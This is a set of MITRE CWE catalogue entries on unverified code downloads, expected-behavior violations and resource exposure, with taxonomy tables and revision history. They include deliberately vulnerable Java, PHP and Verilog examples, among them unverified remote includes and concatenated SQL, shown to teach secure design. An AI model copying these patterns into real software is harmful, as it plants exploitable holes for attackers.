ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 669 Incorrect Resource Transfer Between Spheres
+ Relevant to the view "Architectural Concepts" (View-1008)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1020 Verify Message Integrity
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1


This example loads an external class from a local subdirectory.

(bad code)
Example Language: Java 
URL[] classURLs= new URL[]{
new URL("file:subdir/")
};
URLClassLoader loader = new URLClassLoader(classURLs);
Class loadedClass = Class.forName("loadMe", true, loader);

This code does not ensure that the class loaded is the intended one, for example by verifying the class's checksum. An attacker may be able to modify the class file to execute malicious code.



Example 2


This code includes an external script to get database credentials, then authenticates a user against the database, allowing access to the application.

(bad code)
Example Language: PHP 
//assume the password is already encrypted, avoiding CWE-312

function authenticate($username,$password){

include("http://external.example.com/dbInfo.php");

//dbInfo.php makes $dbhost, $dbuser, $dbpass, $dbname available
mysql_connect($dbhost, $dbuser, $dbpass) or die ('Error connecting to mysql');
mysql_select_db($dbname);
$query = 'Select * from users where username='.$username.' And password='.$password;
$result = mysql_query($query);

if(mysql_numrows($result) == 1){
mysql_close();
return true;
}
else{
mysql_close();
return false;
}

}

This code does not verify that the external domain accessed is the intended one. An attacker may somehow cause the external domain name to resolve to an attack server, which would provide the information for a false database. The attacker may then steal the usernames and encrypted passwords from real user login attempts, or simply allow themself to access the application without a real user account.

This example is also vulnerable to an Adversary-in-the-Middle AITM (CWE-300) attack.



+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Satellite phone does not validate its firmware image.
Chain: router's firmware update procedure uses curl with "-k" (insecure) option that disables certificate validation (CWE-295), allowing adversary-in-the-middle (AITM) compromise with a malicious firmware image (CWE-494).
OS does not verify authenticity of its own updates.
online poker client does not verify authenticity of its own updates.
anti-virus product does not verify automatic updates for itself.
VOIP phone downloads applications from web sites without verifying integrity.
+ Detection Methods
Method Details

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is typically required to find the behavior that triggers the download of code, and to determine whether integrity-checking methods are in use.

Note:These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and also sniff the network connection. Trigger features related to product updates or plugin installation, which is likely to force a code download. Monitor when files are downloaded and separately executed, or if they are otherwise read back into the process. Look for evidence of cryptographic library calls that use integrity checking.

Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 752 2009 Top 25 - Risky Resource Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 802 2010 Top 25 - Risky Resource Management
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 859 The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 865 2011 Top 25 - Risky Resource Management
MemberOf ViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries). 884 CWE Cross-section
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 991 SFP Secondary Cluster: Tainted Input to Environment
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1354 OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1364 ICS Communications: Zone Boundary Failures
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1411 Comprehensive Categorization: Insufficient Verification of Data Authenticity
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

This is critical for mobile code, but it is likely to become more and more common as developers continue to adopt automated, network-based product distributions and upgrades. Software-as-a-Service (SaaS) might introduce additional subtleties. Common exploitation scenarios may include ad server compromises and bad upgrades.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
CLASP Invoking untrusted mobile code
The CERT Oracle Secure Coding Standard for Java (2011) SEC06-J Do not rely on the default automatic signature verification provided by URLClassLoader and java.util.jar
Software Fault Patterns SFP27 Tainted input to environment
+ References
[REF-454] Microsoft. "Introduction to Code Signing".
<http://msdn.microsoft.com/en-us/library/ms537361(VS.85).aspx>.
[REF-455] Microsoft. "Authenticode".
<http://msdn.microsoft.com/en-us/library/ms537359(v=VS.85).aspx>.
[REF-456] Apple. "Code Signing Guide". Apple Developer Connection. 2008-11-19.
<https://web.archive.org/web/20080724215143/http://developer.apple.com/documentation/Security/Conceptual/CodeSigningGuide/Introduction/chapter_1_section_1.html>. (URL validated: 2023-04-07)
[REF-457] Anthony Bellissimo, John Burgess and Kevin Fu. "Secure Software Updates: Disappointments and New Challenges".
<http://prisms.cs.umass.edu/~kevinfu/papers/secureupdates-hotsec06.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 18: The Sins of Mobile Code." Page 267. McGraw-Hill. 2010.
[REF-459] Johannes Ullrich. "Top 25 Series - Rank 20 - Download of Code Without Integrity Check". SANS Software Security Institute. 2010-04-05.
<https://www.sans.org/blog/top-25-series-rank-20-download-of-code-without-integrity-check/>. (URL validated: 2023-04-07)
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14.
<https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. (URL validated: 2023-04-07)
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005.
<https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>. (URL validated: 2024-11-17)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		CLASP
+ Modifications
Modification Date Modifier Organization
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2023-01-31 CWE Content Team MITRE
updated Related_Attack_Patterns
2022-10-13 CWE Content Team MITRE
updated References, Related_Attack_Patterns
2021-10-28 CWE Content Team MITRE
updated Observed_Examples, Relationships
2021-07-20 CWE Content Team MITRE
updated Demonstrative_Examples
2021-03-15 CWE Content Team MITRE
updated References, Related_Attack_Patterns
2020-12-10 CWE Content Team MITRE
updated Demonstrative_Examples
2020-08-20 CWE Content Team MITRE
updated Relationships
2020-02-24 CWE Content Team MITRE
updated Demonstrative_Examples, Relationships
2019-06-20 CWE Content Team MITRE
updated Related_Attack_Patterns, Relationships
2019-01-03 CWE Content Team MITRE
updated Taxonomy_Mappings
2017-11-08 CWE Content Team MITRE
updated Modes_of_Introduction, References, Relationships
2014-07-30 CWE Content Team MITRE
updated Relationships, Taxonomy_Mappings
2012-10-30 CWE Content Team MITRE
updated Potential_Mitigations
2012-05-11 CWE Content Team MITRE
updated References, Relationships, Taxonomy_Mappings
2011-09-13 CWE Content Team MITRE
updated Potential_Mitigations, References
2011-06-27 CWE Content Team MITRE
updated Relationships
2011-06-01 CWE Content Team MITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-03-29 CWE Content Team MITRE
updated Demonstrative_Examples
2010-12-13 CWE Content Team MITRE
updated Potential_Mitigations
2010-09-27 CWE Content Team MITRE
updated Potential_Mitigations, References
2010-06-21 CWE Content Team MITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References
2010-04-05 CWE Content Team MITRE
updated Applicable_Platforms
2010-02-16 CWE Content Team MITRE
updated Detection_Factors, References, Relationships
2009-07-27 CWE Content Team MITRE
updated Description, Observed_Examples, Related_Attack_Patterns
2009-03-10 CWE Content Team MITRE
updated Potential_Mitigations
2009-01-12 CWE Content Team MITRE
updated Applicable_Platforms, Common_Consequences, Description, Name, Other_Notes, Potential_Mitigations, References, Relationships, Research_Gaps, Type
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
+ Previous Entry Names
Change Date Previous Entry Name
2008-04-11 Mobile Code: Invoking Untrusted Mobile Code
2009-01-12 Download of Untrusted Mobile Code Without Integrity Check
Back to top

CWE-440: Expected Behavior Violation

Weakness ID: 440
Vulnerability Mapping: ALLOWED This CWE ID may be used to map to real-world vulnerabilities
Abstraction: Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
A feature, API, or function does not perform according to its specification.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Quality Degradation; Varies by Context

Scope: Other

+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 684 Incorrect Provision of Specified Functionality
+ Relevant to the view "Software Development" (View-699)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 438 Behavioral Problems
+ Relevant to the view "Hardware Design" (View-1194)
Nature Type ID Name
MemberOf Category Category - a CWE entry that contains a set of other entries that share a common characteristic. 1208 Cross-Cutting Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
Phase Note
Architecture and Design
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.
Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: ICS/OT (Undetermined Prevalence)

+ Demonstrative Examples

Example 1


The provided code is extracted from the Control and Status Register (CSR), csr_regfile, module within the Hack@DAC'21 OpenPiton System-on-Chip (SoC). This module is designed to implement CSR registers in accordance with the RISC-V specification. The mie (machine interrupt enable) register is a 64-bit register [REF-1384], where bits correspond to different interrupt sources. As the name suggests, mie is a machine-level register that determines which interrupts are enabled. Note that in the example below the mie_q and mie_d registers represent the conceptual mie reigster in the RISC-V specification. The mie_d register is the value to be stored in the mie register while the mie_q register holds the current value of the mie register [REF-1385].

The mideleg (machine interrupt delegation) register, also 64-bit wide, enables the delegation of specific interrupt sources from machine privilege mode to lower privilege levels. By setting specific bits in the mideleg register, the handling of certain interrupts can be delegated to lower privilege levels without engaging the machine-level privilege mode. For example, in supervisor mode, the mie register is limited to a specific register called the sie (supervisor interrupt enable) register. If delegated, an interrupt becomes visible in the sip (supervisor interrupt pending) register and can be enabled or blocked using the sie register. If no delegation occurs, the related bits in sip and sie are set to zero.

The sie register value is computed based on the current value of mie register, i.e., mie_q, and the mideleg register.

(bad code)
Example Language: Verilog 
module csr_regfile #(...)(...);
...
// ---------------------------
// CSR Write and update logic
// ---------------------------
...
if (csr_we) begin
unique case (csr_addr.address)
...
riscv::CSR_SIE: begin
// the mideleg makes sure only delegate-able register
//(and therefore also only implemented registers) are written
mie_d = (mie_q & ~mideleg_q) | (csr_wdata & mideleg_q) | utval_q;
end
...
endcase
end
endmodule

The above code snippet illustrates an instance of a vulnerable implementation of the sie register update logic, where users can tamper with the mie_d register value through the utval (user trap value) register. This behavior violates the RISC-V specification.

The code shows that the value of utval, among other signals, is used in updating the mie_d value within the sie update logic. While utval is a register accessible to users, it should not influence or compromise the integrity of sie. Through manipulation of the utval register, it becomes feasible to manipulate the sie register's value. This opens the door for potential attacks, as an adversary can gain control over or corrupt the sie value. Consequently, such manipulation empowers an attacker to enable or disable critical supervisor-level interrupts, resulting in various security risks such as privilege escalation or denial-of-service attacks.

A fix to this issue is to remove the utval from the right-hand side of the assignment. That is the value of the mie_d should be updated as shown in the good code example [REF-1386].

(good code)
Example Language: Verilog 
module csr_regfile #(...)(...);
...
// ---------------------------
// CSR Write and update logic
// ---------------------------
...
if (csr_we) begin
unique case (csr_addr.address)
...
riscv::CSR_SIE: begin
// the mideleg makes sure only delegate-able register
//(and therefore also only implemented registers) are written
mie_d = (mie_q & ~mideleg_q) | (csr_wdata & mideleg_q);
end
...
endcase
end
endmodule


+ Selected Observed Examples

Note: this is a curated list of examples for users to understand the variety of ways in which this weakness can be introduced. It is not a complete list of all CVEs that are related to this CWE entry.

Reference Description
Program uses large timeouts on unconfirmed connections resulting from inconsistency in linked lists implementations.
"strncpy" in Linux kernel acts different than libc on x86, leading to expected behavior difference - sort of a multiple interpretation error?
Buffer overflow in product stems the use of a third party library function that is expected to have internal protection against overflows, but doesn't.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
Nature Type ID Name
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1001 SFP Secondary Cluster: Use of an Improper API
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1368 ICS Dependencies (& Architecture): External Digital Systems
MemberOf CategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic. 1412 Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes
Usage ALLOWED
(this CWE ID may be used to map to real-world vulnerabilities)
Reason Acceptable-Use

Rationale

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Theoretical

The behavior of an application that is not consistent with the expectations of the developer may lead to incorrect use of the software.
+ Taxonomy Mappings
Mapped Taxonomy Name Node ID Fit Mapped Node Name
PLOVER Expected behavior violation
+ References
[REF-1384] "The RISC-V Instruction Set Manual Volume II: Privileged Architecture page 28". 2021.
<https://riscv.org/wp-content/uploads/2017/05/riscv-privileged-v1.10.pdf>. (URL validated: 2024-01-16)
[REF-1385] "csr_regfile.sv". 2021.
<https://github.com/HACK-EVENT/hackatdac21/blob/b9ecdf6068445d76d6bee692d163fededf7a9d9b/piton/design/chip/tile/ariane/src/csr_regfile.sv>. (URL validated: 2024-01-16)
[REF-1386] "Fix for csr_regfile.sv". 2021.
<https://github.com/HACK-EVENT/hackatdac21/blob/2341c625a28d2fb87d370e32c45b68bd711cc43b/piton/design/chip/tile/ariane/src/csr_regfile.sv#L519C4-L522C20>. (URL validated: 2024-01-16)
+ Content History
+ Submissions
Submission Date Submitter Organization
2006-07-19
(CWE Draft 3, 2006-07-19) 		PLOVER
+ Contributions
Contribution Date Contributor Organization
2023-06-21 Chen Chen, Rahul Kande, Jeyavijayan Rajendran Texas A&M University
suggested demonstrative example
2023-06-21 Shaza Zeitouni, Mohamadreza Rostami, Ahmad-Reza Sadeghi Technical University of Darmstadt
suggested demonstrative example
+ Modifications
Modification Date Modifier Organization
2024-02-29
(CWE 4.14, 2024-02-29) 		CWE Content Team MITRE
updated Demonstrative_Examples, References
2023-10-26 CWE Content Team MITRE
updated Observed_Examples
2023-06-29 CWE Content Team MITRE
updated Mapping_Notes
2023-04-27 CWE Content Team MITRE
updated Relationships
2023-01-31 CWE Content Team MITRE
updated Applicable_Platforms, Relationships
2020-08-20 CWE Content Team MITRE
updated Description, Observed_Examples, Theoretical_Notes
2020-02-24 CWE Content Team MITRE
updated Relationships
2017-11-08 CWE Content Team MITRE
updated Applicable_Platforms, Relevant_Properties
2014-07-30 CWE Content Team MITRE
updated Relationships
2012-05-11 CWE Content Team MITRE
updated Relationships
2011-06-27 CWE Content Team MITRE
updated Common_Consequences
2011-06-01 CWE Content Team MITRE
updated Common_Consequences
2009-10-29 CWE Content Team MITRE
updated Other_Notes, Relevant_Properties, Theoretical_Notes
2008-09-08 CWE Content Team MITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-07-01 Eric Dalci Cigital
updated Time_of_Introduction
Back to top

CWE-668: Exposure of Resource to Wrong Sphere

Weakness ID: 668
Vulnerability Mapping: DISCOURAGED This CWE ID should not be used to map to real-world vulnerabilities
Abstraction: Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
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+ Description
The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.
+ Extended Description

Resources such as files and directories may be inadvertently exposed through mechanisms such as insecure permissions, or when a program accidentally operates on the wrong object. For example, a program may intend that private files can only be provided to a specific user. This effectively defines a control sphere that is intended to prevent attackers from accessing these private files. If the file permissions are insecure, then parties other than the user will be able to access those files.

A separate control sphere might effectively require that the user can only access the private files, but not any other files on the system. If the program does not ensure that the user is only requesting private files, then the user might be able to access other files on the system.

In either case, the end result is that a resource has been exposed to the wrong party.

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Impact Details

Read Application Data

Scope: Confidentiality

Likelihood: High

An adversary that gains access to a resource exposed to a wrong sphere could potentially retrieve private data from that resource, thus breaking the intended confidentiality of that data.

Modify Application Data

Scope: Integrity

Likelihood: Medium

An adversary that gains access to a resource exposed to a wrong sphere could potentially modify data held within that resource, thus breaking the intended integrity of that data and causing the system relying on that resource to make unintended decisions.

Varies by Context

Scope: Other

The consequences may vary widely depending on how the product uses the affected resource.
+ Relationships
Section Help This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (View-1000)
Nature Type ID Name
ChildOf Pillar Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things. 664 Improper Control of a Resource Through its Lifetime
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 8 J2EE Misconfiguration: Entity Bean Declared Remote
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 134 Use of Externally-Controlled Format String
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 200 Exposure of Sensitive Information to an Unauthorized Actor
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 374 Passing Mutable Objects to an Untrusted Method
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 375 Returning a Mutable Object to an Untrusted Caller
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 377 Insecure Temporary File
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 402 Transmission of Private Resources into a New Sphere ('Resource Leak')
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 427 Uncontrolled Search Path Element
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 428 Unquoted Search Path or Element
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 488 Exposure of Data Element to Wrong Session
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 491 Public cloneable() Method Without Final ('Object Hijack')
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 492 Use of Inner Class Containing Sensitive Data
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 493 Critical Public Variable Without Final Modifier
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 498 Cloneable Class Containing Sensitive Information
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 499 Serializable Class Containing Sensitive Data
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 522 Insufficiently Protected Credentials
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 524 Use of Cache Containing Sensitive Information
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 552 Files or Directories Accessible to External Parties
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 582 Array Declared Public, Final, and Static
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 583 finalize() Method Declared Public
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 608 Struts: Non-private Field in ActionForm Class
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 642 External Control of Critical State Data
ParentOf Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 732 Incorrect Permission Assignment for Critical Resource
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 767 Access to Critical Private Variable via Public Method
ParentOf Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 927 Use of Implicit Intent for Sensitive Communication
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1189 Improper Isolation of Shared Resources on System-on-a-Chip (SoC)
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1282 Assumed-Immutable Data is Stored in Writable Memory
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1327 Binding to an Unrestricted IP Address
ParentOf Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 1331 Improper Isolation of Shared Resources in Network On Chip (NoC)
CanFollow Base Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource. 22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CanFollow Class Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource. 441 Unintended Proxy or Intermediary ('Confused Deputy')
CanFollow Variant Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource. 942 Permissive Cross-domain Policy with Untrusted Domains
